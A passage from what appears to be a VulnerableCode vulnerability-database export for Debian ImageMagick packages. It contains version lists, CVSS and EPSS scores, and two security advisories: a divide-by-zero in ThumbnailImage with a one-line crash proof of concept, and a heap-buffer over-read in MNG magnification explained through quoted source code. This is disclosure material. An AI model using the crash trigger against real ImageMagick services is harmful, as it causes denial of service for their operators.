vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eb4u-x1mt-2uan
11
vulnerability VCID-eeju-vhdm-aqbe
12
vulnerability VCID-egwu-28fp-dye6
13
vulnerability VCID-g41y-dv8u-3yf1
14
vulnerability VCID-g679-q851-xub7
15
vulnerability VCID-j6tc-f4fc-mbcv
16
vulnerability VCID-jc5m-7rvc-2qg6
17
vulnerability VCID-jcjk-s89c-mbbm
18
vulnerability VCID-n47w-r932-abey
19
vulnerability VCID-qjxn-gm96-7ygc
20
vulnerability VCID-r3vw-ncns-cqgb
21
vulnerability VCID-rbdg-vz8x-ykah
22
vulnerability VCID-rjkf-pdny-2fhn
23
vulnerability VCID-sw7g-hxxr-n3e1
24
vulnerability VCID-tt6z-t31v-dkdd
25
vulnerability VCID-tv15-dcnu-pbbn
26
vulnerability VCID-utfe-h3b7-jqcj
27
vulnerability VCID-uvkp-1zss-57gr
28
vulnerability VCID-w9zg-tsbg-afa1
29
vulnerability VCID-x8c6-9pse-xkc8
30
vulnerability VCID-y58b-be93-hbfd
31
vulnerability VCID-zab9-9tqj-hbhg
32
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u4%3Fdistro=trixie
2
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eeju-vhdm-aqbe
11
vulnerability VCID-egwu-28fp-dye6
12
vulnerability VCID-g41y-dv8u-3yf1
13
vulnerability VCID-g679-q851-xub7
14
vulnerability VCID-j6tc-f4fc-mbcv
15
vulnerability VCID-jc5m-7rvc-2qg6
16
vulnerability VCID-jcjk-s89c-mbbm
17
vulnerability VCID-n47w-r932-abey
18
vulnerability VCID-qjxn-gm96-7ygc
19
vulnerability VCID-r3vw-ncns-cqgb
20
vulnerability VCID-rbdg-vz8x-ykah
21
vulnerability VCID-rjkf-pdny-2fhn
22
vulnerability VCID-sw7g-hxxr-n3e1
23
vulnerability VCID-tt6z-t31v-dkdd
24
vulnerability VCID-tv15-dcnu-pbbn
25
vulnerability VCID-utfe-h3b7-jqcj
26
vulnerability VCID-uvkp-1zss-57gr
27
vulnerability VCID-w9zg-tsbg-afa1
28
vulnerability VCID-x8c6-9pse-xkc8
29
vulnerability VCID-y58b-be93-hbfd
30
vulnerability VCID-zab9-9tqj-hbhg
31
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u5%3Fdistro=trixie
3
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u2%3Fdistro=trixie
4
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-a2qm-vkc3-qkd5
7
vulnerability VCID-eeju-vhdm-aqbe
8
vulnerability VCID-egwu-28fp-dye6
9
vulnerability VCID-j6tc-f4fc-mbcv
10
vulnerability VCID-jc5m-7rvc-2qg6
11
vulnerability VCID-qjxn-gm96-7ygc
12
vulnerability VCID-tt6z-t31v-dkdd
13
vulnerability VCID-uvkp-1zss-57gr
14
vulnerability VCID-w9zg-tsbg-afa1
15
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u5%3Fdistro=trixie
5
url pkg:deb/debian/imagemagick@8:7.1.2.1%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.1%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.1%252Bdfsg1-1%3Fdistro=trixie
6
url pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-jc5m-7rvc-2qg6
1
vulnerability VCID-tt6z-t31v-dkdd
2
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.16%252Bdfsg1-1%3Fdistro=trixie
7
url pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-eeju-vhdm-aqbe
7
vulnerability VCID-egwu-28fp-dye6
8
vulnerability VCID-j6tc-f4fc-mbcv
9
vulnerability VCID-qjxn-gm96-7ygc
10
vulnerability VCID-uvkp-1zss-57gr
11
vulnerability VCID-w9zg-tsbg-afa1
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.18%252Bdfsg1-1%3Fdistro=trixie
8
url pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.19%252Bdfsg1-1%3Fdistro=trixie
aliases CVE-2025-55005
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-tw4r-9r9b-4qez
5
url VCID-uwj5-1fkf-7qg9
vulnerability_id VCID-uwj5-1fkf-7qg9
summary
ImageMagick affected by divide-by-zero in ThumbnailImage via montage -geometry ":" leads to crash
## Summary
Passing a geometry string containing only a colon (":") to montage -geometry leads GetGeometry() to set width/height to 0. Later, ThumbnailImage() divides by these zero dimensions, triggering a crash (SIGFPE/abort), resulting in a denial of service.

## Details
**Root Cause**
1. `montage -geometry ":" ...` reaches `MagickCore/geometry.c:GetGeometry().`
2. `StringToDouble/InterpretLocaleValue` parses `":"` as `0.0;` then: 
https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355
`WidthValue` (and/or `HeightValue)` is set with a zero dimension.
3. In MagickCore/resize.c:ThumbnailImage(), the code computes:
https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629
causing a division by zero and immediate crash.

The issue is trivially triggerable without external input files (e.g., using `xc:white`).

### Reproduction
Environment
```
Version: ImageMagick 7.1.2-1 (Beta) Q16-HDRI x86_64 0ba1b587b:20250812 https://imagemagick.org
Features: Cipher DPC HDRI
Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff x xml zlib
Compiler: clang (14.0.0)
OS/Arch: Linux x86_64
```
Steps
```
./bin/magick montage -geometry : xc:white null:
```
Observed result
```
IOT instruction (core dumped)
# (Environment-dependent: SIGFPE/abort may be observed.)
```

## PoC
No external file required; the pseudo image xc:white suffices:
```
./bin/magick montage -geometry : xc:white null:
```

## Impact
- **Denial of Service:** A divide-by-zero in `ThumbnailImage()` causes immediate abnormal termination (e.g., SIGFPE/abort), crashing the ImageMagick process.


## Suggested fix
Defensively reject zero dimensions early in `ThumbnailImage()`:
```c
if ((columns == 0) || (rows == 0)) {
  (void) ThrowMagickException(exception, GetMagickModule(), OptionError,
    "InvalidGeometry", "thumbnail requires non-zero dimensions: %.20gx%.20g",
    (double) columns, (double) rows);
  return (Image *) NULL;
}
```
Additionally, consider tightening validation in `GetGeometry()` so that colon-only (and similar malformed) inputs do not yield `WidthValue/HeightValue` with zero, or are rejected outright. Variants like `"x:"` or `":x"` may also need explicit handling (maintainer confirmation requested).

## Credits
### Team Daemon Fuzz Hunters
**Bug Hunting Master Program, HSpace/Findthegap**
<br>

**Woojin Park**
@jin-156
[1203kids@gmail.com](mailto:1203kids@gmail.com)

**Hojun Lee**
@leehohojune 
[leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr)

**Youngin Won**
@amethyst0225
[youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr)

**Siyeon Han**
@hanbunny
[kokosyeon@gmail.com](mailto:kokosyeon@gmail.com)
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55212.json
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55212.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-55212
reference_id
reference_type
scores
0
value 0.00284
scoring_system epss
scoring_elements 0.51828
published_at 2026-04-26T12:55:00Z
1
value 0.00284
scoring_system epss
scoring_elements 0.51821
published_at 2026-04-24T12:55:00Z
2
value 0.00284
scoring_system epss
scoring_elements 0.51873
published_at 2026-04-21T12:55:00Z
3
value 0.00284
scoring_system epss
scoring_elements 0.51892
published_at 2026-04-18T12:55:00Z
4
value 0.00284
scoring_system epss
scoring_elements 0.51885
published_at 2026-04-16T12:55:00Z
5
value 0.00284
scoring_system epss
scoring_elements 0.51843
published_at 2026-04-13T12:55:00Z
6
value 0.00284
scoring_system epss
scoring_elements 0.51858
published_at 2026-04-12T12:55:00Z
7
value 0.00284
scoring_system epss
scoring_elements 0.51878
published_at 2026-04-11T12:55:00Z
8
value 0.00284
scoring_system epss
scoring_elements 0.51827
published_at 2026-04-09T12:55:00Z
9
value 0.00284
scoring_system epss
scoring_elements 0.51829
published_at 2026-04-08T12:55:00Z
10
value 0.00284
scoring_system epss
scoring_elements 0.51775
published_at 2026-04-07T12:55:00Z
11
value 0.00284
scoring_system epss
scoring_elements 0.51813
published_at 2026-04-04T12:55:00Z
12
value 0.00284
scoring_system epss
scoring_elements 0.51788
published_at 2026-04-02T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-55212
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55212
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55212
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 4.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/
url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1
5
reference_url https://github.com/ImageMagick/ImageMagick
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/ImageMagick/ImageMagick
6
reference_url https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/
url https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355
7
reference_url https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/
url https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629
8
reference_url https://github.com/ImageMagick/ImageMagick/commit/5f0bcf986b8b5e90567750d31a37af502b73f2af
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/
url https://github.com/ImageMagick/ImageMagick/commit/5f0bcf986b8b5e90567750d31a37af502b73f2af
9
reference_url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fh55-q5pj-pxgw
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value LOW
scoring_system cvssv3.1_qr
scoring_elements
2
value LOW
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/
url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fh55-q5pj-pxgw
10
reference_url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
11
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-55212
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-55212
12
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111587
reference_id 1111587
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111587
13
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2391088
reference_id 2391088
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2391088
14
reference_url https://github.com/advisories/GHSA-fh55-q5pj-pxgw
reference_id GHSA-fh55-q5pj-pxgw
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fh55-q5pj-pxgw
15
reference_url https://usn.ubuntu.com/7756-1/
reference_id USN-7756-1
reference_type
scores
url https://usn.ubuntu.com/7756-1/
fixed_packages
0
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eb4u-x1mt-2uan
11
vulnerability VCID-eeju-vhdm-aqbe
12
vulnerability VCID-egwu-28fp-dye6
13
vulnerability VCID-g41y-dv8u-3yf1
14
vulnerability VCID-g679-q851-xub7
15
vulnerability VCID-j6tc-f4fc-mbcv
16
vulnerability VCID-jc5m-7rvc-2qg6
17
vulnerability VCID-jcjk-s89c-mbbm
18
vulnerability VCID-n47w-r932-abey
19
vulnerability VCID-qjxn-gm96-7ygc
20
vulnerability VCID-r3vw-ncns-cqgb
21
vulnerability VCID-rbdg-vz8x-ykah
22
vulnerability VCID-rjkf-pdny-2fhn
23
vulnerability VCID-sw7g-hxxr-n3e1
24
vulnerability VCID-tt6z-t31v-dkdd
25
vulnerability VCID-tv15-dcnu-pbbn
26
vulnerability VCID-utfe-h3b7-jqcj
27
vulnerability VCID-uvkp-1zss-57gr
28
vulnerability VCID-w9zg-tsbg-afa1
29
vulnerability VCID-x8c6-9pse-xkc8
30
vulnerability VCID-y58b-be93-hbfd
31
vulnerability VCID-zab9-9tqj-hbhg
32
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u4%3Fdistro=trixie
1
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u6%3Fdistro=trixie
2
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u4%3Fdistro=trixie
3
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eeju-vhdm-aqbe
11
vulnerability VCID-egwu-28fp-dye6
12
vulnerability VCID-g41y-dv8u-3yf1
13
vulnerability VCID-g679-q851-xub7
14
vulnerability VCID-j6tc-f4fc-mbcv
15
vulnerability VCID-jc5m-7rvc-2qg6
16
vulnerability VCID-jcjk-s89c-mbbm
17
vulnerability VCID-n47w-r932-abey
18
vulnerability VCID-qjxn-gm96-7ygc
19
vulnerability VCID-r3vw-ncns-cqgb
20
vulnerability VCID-rbdg-vz8x-ykah
21
vulnerability VCID-rjkf-pdny-2fhn
22
vulnerability VCID-sw7g-hxxr-n3e1
23
vulnerability VCID-tt6z-t31v-dkdd
24
vulnerability VCID-tv15-dcnu-pbbn
25
vulnerability VCID-utfe-h3b7-jqcj
26
vulnerability VCID-uvkp-1zss-57gr
27
vulnerability VCID-w9zg-tsbg-afa1
28
vulnerability VCID-x8c6-9pse-xkc8
29
vulnerability VCID-y58b-be93-hbfd
30
vulnerability VCID-zab9-9tqj-hbhg
31
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u5%3Fdistro=trixie
4
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u2%3Fdistro=trixie
5
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-a2qm-vkc3-qkd5
7
vulnerability VCID-eeju-vhdm-aqbe
8
vulnerability VCID-egwu-28fp-dye6
9
vulnerability VCID-j6tc-f4fc-mbcv
10
vulnerability VCID-jc5m-7rvc-2qg6
11
vulnerability VCID-qjxn-gm96-7ygc
12
vulnerability VCID-tt6z-t31v-dkdd
13
vulnerability VCID-uvkp-1zss-57gr
14
vulnerability VCID-w9zg-tsbg-afa1
15
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u5%3Fdistro=trixie
6
url pkg:deb/debian/imagemagick@8:7.1.2.3%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.3%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.3%252Bdfsg1-1%3Fdistro=trixie
7
url pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-jc5m-7rvc-2qg6
1
vulnerability VCID-tt6z-t31v-dkdd
2
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.16%252Bdfsg1-1%3Fdistro=trixie
8
url pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-eeju-vhdm-aqbe
7
vulnerability VCID-egwu-28fp-dye6
8
vulnerability VCID-j6tc-f4fc-mbcv
9
vulnerability VCID-qjxn-gm96-7ygc
10
vulnerability VCID-uvkp-1zss-57gr
11
vulnerability VCID-w9zg-tsbg-afa1
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.18%252Bdfsg1-1%3Fdistro=trixie
9
url pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.19%252Bdfsg1-1%3Fdistro=trixie
aliases CVE-2025-55212, GHSA-fh55-q5pj-pxgw
risk_score 1.6
exploitability 0.5
weighted_severity 3.3
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-uwj5-1fkf-7qg9
6
url VCID-vbdt-31wd-v3h8
vulnerability_id VCID-vbdt-31wd-v3h8
summary
imagemagick: heap-buffer overflow read in MNG magnification with alpha
## **Vulnerability Details**

When performing image magnification in `ReadOneMNGIMage` (in `coders/png.c`), there is an issue around the handling of images with separate alpha channels.

When loading an image with a color type that implies a separate alpha channel (ie. `jng_color_type >= 12`), we will load the alpha pixels in this loop:

```c
     if (logging != MagickFalse)
        (void) LogMagickEvent(CoderEvent,GetMagickModule(),
          "    Reading alpha from alpha_blob.");
      jng_image=ReadImage(alpha_image_info,exception);

      if (jng_image != (Image *) NULL)
        for (y=0; y < (ssize_t) image->rows; y++)
        {
          s=GetVirtualPixels(jng_image,0,y,image->columns,1,exception);
          q=GetAuthenticPixels(image,0,y,image->columns,1,exception); // [0]
          if ((s == (const Quantum *)  NULL) || (q == (Quantum *) NULL))
            break;

          if (image->alpha_trait != UndefinedPixelTrait)
            for (x=(ssize_t) image->columns; x != 0; x--)
            {
              SetPixelAlpha(image,GetPixelRed(jng_image,s),q);
              q+=(ptrdiff_t) GetPixelChannels(image);
              s+=(ptrdiff_t) GetPixelChannels(jng_image);
            }

          else
            for (x=(ssize_t) image->columns; x != 0; x--)
            {
              Quantum
                alpha;

              alpha=GetPixelRed(jng_image,s);
              SetPixelAlpha(image,alpha,q);
              if (alpha != OpaqueAlpha)
                image->alpha_trait=BlendPixelTrait; // [1]
              q+=(ptrdiff_t) GetPixelChannels(image);
              s+=(ptrdiff_t) GetPixelChannels(jng_image);
            }

          if (SyncAuthenticPixels(image,exception) == MagickFalse)
            break;
        }
```

Note that at \[1\] we update `image->alpha_trait`, but if our alpha image only contains non-opaque pixels in the last row, we do not call `GetAuthenticPixels` (at \[0\]) after this change has been made. 

The next call to `GetAuthenticPixels` will then call down into `ResetPixelChannelMap` which adds the new alpha channel to the image channel mappings and metadata.

If we then pass this image into the `MAGN` chunk type, we can see that at \[2\] we calculate the sizes for intermediate buffers `next` and `prev`, before calling `GetAuthenticPixels` at \[4\]. 

After the call at \[4\], the `image->num_channels` has increased to include the new alpha channel, and now `length` and the previously allocated `next` and `prev` buffers are too small. Fortunately `length` is always used when copying into the buffers, but when reading pixels from the buffers, we call `GetPixelXXX` which assumes the layout of the current image, which requires a larger allocation. 

The pixel copying loop will subsequently read beyond the end of the allocation at \[5\].

```c
               /* magnify the rows into the right side of the large image */

                if (logging != MagickFalse)
                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),
                    "    Magnify the rows to %.20g",
                    (double) large_image->rows);
                m=(ssize_t) mng_info->magn_mt;
                yy=0;
                length=(size_t) GetPixelChannels(image)*image->columns; // [2]
                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));
                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));

                if ((prev == (Quantum *) NULL) ||
                    (next == (Quantum *) NULL))
                  {
                    if (prev != (Quantum *) NULL)
                      prev=(Quantum *) RelinquishMagickMemory(prev);
                    if (next != (Quantum *) NULL)
                      next=(Quantum *) RelinquishMagickMemory(next);
                    image=DestroyImageList(image);
                    ThrowReaderException(ResourceLimitError,
                      "MemoryAllocationFailed");
                  }

                n=GetAuthenticPixels(image,0,0,image->columns,1,exception); // [4]
                (void) memcpy(next,n,length);

                for (y=0; y < (ssize_t) image->rows; y++)
                {
                  if (y == 0)
                    m=(ssize_t) mng_info->magn_mt;

                  else if (magn_methy > 1 && y == (ssize_t) image->rows-2)
                    m=(ssize_t) mng_info->magn_mb;

                  else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)
                    m=(ssize_t) mng_info->magn_mb;

